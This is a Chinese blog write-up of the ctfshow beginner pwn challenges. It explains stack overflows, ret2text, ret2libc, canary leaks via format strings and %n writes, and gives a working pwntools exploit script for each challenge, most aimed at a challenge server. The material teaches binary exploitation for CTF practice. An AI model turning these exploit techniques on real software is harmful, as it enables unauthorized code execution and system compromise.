ctfshow-pwn新手系列

前言

十几天没发文了,都在写这篇文章,我也不知道为啥我要学pwn,当初是准备学汇编的,走上了不归之路,呜呜呜

pwn签到题

nc 连上就有flag

pwn02

一个简单的ret2text
首先看main函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kg9efLcG-1592106179852)(media/15913219910849/15913278925305.jpg)]
那么接着跟到pwnme函数
可以看到buf只有9个字节
而fgets读入了50个字节,所以就导致了栈溢出
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lYdEJI6z-1592106179853)(media/15913219910849/15913279512688.jpg)]
这是个32位的程序所以ret地址一般是ebp+4
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AJ9qcW5Q-1592106179854)(media/15913219910849/15913281054258.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BPmSmxGL-1592106179856)(media/15913219910849/15913281598179.jpg)]
看到stack函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zIRdMwwQ-1592106179857)(media/15913219910849/15913282296719.jpg)]
地址
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3YpEgscV-1592106179857)(media/15913219910849/15913282067644.jpg)]
故exp为
exp:

from pwn import *
#p = process("./pwn1")
p = remote("111.231.70.44",28010)
p.recv()
payload = b"A"*(0x9+4) + p32(0x0804850F)
p.send(payload)
p.interactive()

pwn03

tips:ret2libc3
checksec
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A1PqKvu7-1592106179858)(media/15913219910849/15914168802046.jpg)]
栈不可执行
看到main函数
在这里插入图片描述
跟进pwnme函数
在这里插入图片描述
这里s只开辟了9个字节,而fgets函数读入了0x64个字节
所以这里存在栈溢出,接着就需要找到system函数的地址了
在这里插入图片描述
很明显这里没有system函数
在这里插入图片描述
搜索字符串没有/bin/sh字符串,也没有$0
这个时候就涉及到plt表和got表了
程序执行后,plt表里是got表的地址,got表是函数的真实地址
程序还未执行时,got表里还是plt表的地址
我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样
但也只是针对于地址中间位进行随机,最低的12位并不会发生改变
也就是我们需要获取到远程环境的函数的真实地址
进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
所以我们首先exp的构造
首先栈溢出,利用puts函数的plt表的地址,泄漏puts函数的got表中的函数的真实地址,然后返回地址填写main函数重新跳转回来

from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))

在这里插入图片描述
这就是为啥最后需要接受两个\n\n的原因
u32是将字符转换为小端序
当我们知道了puts函数的真实地址之后就可以根据后三位判断libc的版本
在这里插入图片描述
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Y69CLkOx-1592106179862)(media/15913219910849/15916241455336.jpg)]
那么我们继续构造exp
首先求得libc基地址

libcbase = get_addr - 0x067360 #上图所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

完整exp:

from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360 #上图所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()

pwn04

格式化字符串漏洞泄露canary,然后栈溢出getshell
首先checksec
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RwBko3Rd-1592106179862)(media/15913219910849/15914073120735.jpg)]
栈不可执行,canary都开了
canary:
用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。
main函数:
在这里插入图片描述
vuln函数:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IpGvb1Ai-1592106179863)(media/15913219910849/15914086015641.jpg)]
可以看到v2就是我们输入的值
ebp-0ch就是canary
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Rhk7NPtv-1592106179863)(media/15913219910849/15914086295993.jpg)]
可以看到这里将canary给了eax
所以我们可以通过canary赋值给eax然后下断点,来得到canary的值
首先 b printf在printf函数这里下个断点
b *0x080486C9 canary赋值之后下个断点
在这里插入图片描述
printf的地址为0xffdd350
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FIDyexnO-1592106179864)(media/15913219910849/15914117997720.jpg)]
canary的值也就是ebp-0ch
在这里插入图片描述
查看printf的地址
发现eax 0x1c741800的偏移为31,所以可以构造canary的值为%31$x
而我们canary的值是由v2赋值而来的,所以计算v2与v3的偏移即可
0x70-0xc=0x64=100
现在我们覆盖了canary的地址,离ebp还有0x8个字节,所以覆盖返回地址的话也就是0xc个字节也就是12,最后覆盖返回地址到getshell函数的地址即可getshell

from pwn import *
#p = process("./ex")
p =remote("111.231.70.44",28097)
p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)
print(hex(canary))
getshell = b"a" * 100 + p32(canary) + b"b" * 12 + p32(0x0804859B)
p.sendline(getshell)
p.interactive()

在这里插入图片描述
遇到这个问题的话,把exp多运行几次

pwn05

ret2text
checksec 32位
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R9pD7ZJd-1592106179866)(media/15913219910849/15913569925315.jpg)]
看main函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kt35H5KB-1592106179866)(media/15913219910849/15913570027547.jpg)]
welcome函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8SbHf4EQ-1592106179866)(media/15913219910849/15913574199202.jpg)]
buf只有0x14个长度
而gets函数想读多少读多少,典型的栈溢出
控制返回地址ebp+4
而这里有个getFlag函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TmQv0CgW-1592106179867)(media/15913219910849/15913579970077.jpg)]
getshell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NS9NUWOT-1592106179867)(media/15913219910849/15913580225819.jpg)]
要覆盖:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6lLp1SBU-1592106179867)(media/15913219910849/15913582729877.jpg)]
0x14个字节
exp:

from pwn import *
p = remote("111.231.70.44",28094)
payload = b"A"*(0x14+4) + p32(0x8048486)
p.send(payload)
p.interactive()

pwn06

这个就是pwn05的64位版本,所以需要平衡堆栈
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iJ8J8A00-1592106179868)(media/15913219910849/15913589900911.jpg)]
原理都差不多
main函数之后看到welcome函数,然后找到system("/bin/sh")的地址
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VtiiUJXj-1592106179868)(media/15913219910849/15913612377873.jpg)]
exp:

from pwn import *
p =remote("111.231.70.44",28086)
payload = b"a" * 0x14 + p64(0x40058E) + p64(0x400577)
p.send(payload)
p.interactive()

pwn07

checksec
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K6EJQ8hB-1592106179868)(media/15913219910849/15916248052561.jpg)]

原理和pwn03大同小异
只是64位程序是由寄存器传参,分别是rdi,rsi,rdx,rcx,r8,r9(当参数小于7个时),所以我们需要一个gadget,pop rdi;ret
然后payload的构造和32位也不一样

判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

exp:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./ret2libc3')
p = remote('111.231.70.44',28030)
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00000000004006e3
main = elf.symbols['main']
payload = b'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil('\x0a')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
ret_addr = 0x00000000004006E4
libcbase = puts_addr -  0x0809c0
system_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
payload = flat([b'a'*20,ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()

01栈溢出之ret2text

又是一个简单的栈溢出
不过是64位的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uGv8Dppw-1592106179869)(media/15913219910849/15913481851584.jpg)]
所以通常来说返回地址都是rbp+8
首先看到main函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NUXpPsx8-1592106179870)(media/15913219910849/15913482346492.jpg)]
跟进welcome函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vFL5fk8w-1592106179870)(media/15913219910849/15913483658648.jpg)]
虽然是说buf的大小为0x80但是呢,我们还是自己动手试下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Urm9Eqkv-1592106179870)(media/15913219910849/15913485426121.jpg)]
看来ida没错
然后ctfshow这个函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6mIRCwjb-1592106179871)(media/15913219910849/15913485708915.jpg)]
那么很简单,直接上exp

from pwn import *
#p = process("./pwn2")
p = remote("111.231.70.44",28049)
payload = b"A"*(0x80+8) + p64(0x040063B)
p.send(payload)
p.interactive()

为什么这么写呢,因为这里要考虑到堆栈平衡,由于调用到ctfshow这个函数[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XYPqdKCm-1592106179872)(media/15913219910849/15913553782851.jpg)]
这里首先push了一个rbp,所以rsp-8了,因此要考虑到堆栈平衡,这里可以跳过这个地址,或者ret一下,先弹出栈顶的值然后给eip,这不重要,重要的是ret的时候改变了栈顶的结构也就是rsp-8了,后面push ebp的时候堆栈平衡了,故可以getshell

pwn10

格式化字符串漏洞
checksec
在这里插入图片描述
32位,栈不可执行
看到main函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hRQmaYch-1592106179872)(media/15913219910849/15921044375395.jpg)]
一个很明显的格式化字符串漏洞
目的是使num=16,从而cat flag
gdb调试
在scanf函数处打个断点
b *0x080485C1
r
输入
AAAA
stack 24
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UBGRLpTb-1592106179873)(media/15913219910849/15921049266090.jpg)]
可以看到偏移为7
printf的第n+1个参数就是格式化字符串的第n个参数
(空行的地方也算)
我们知道%n可以写入输出的字符长度的个数
%<number>$n可以修改第number个参数的值
所以这个地方我们构造%7$n
由于需要num=16,所以在我们写入地址的4个字节除外我们还需要写入12个字符
exp:

from pwn import *
context.log_level='debug'
p = remote('111.231.70.44',28064)
#p = process('./pwn')
#num_addr = 0x0804A030
payload = p32(0x0804A030) + cyclic(12) +b"%7$n"
p.send(payload)
p.interactive()

后言

本文只是个人的一个见解,定有所纰漏,希望读者发现错误之后能及时指出,以免误导了pwn萌新入门,点赞评论支持将是我最大动力。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章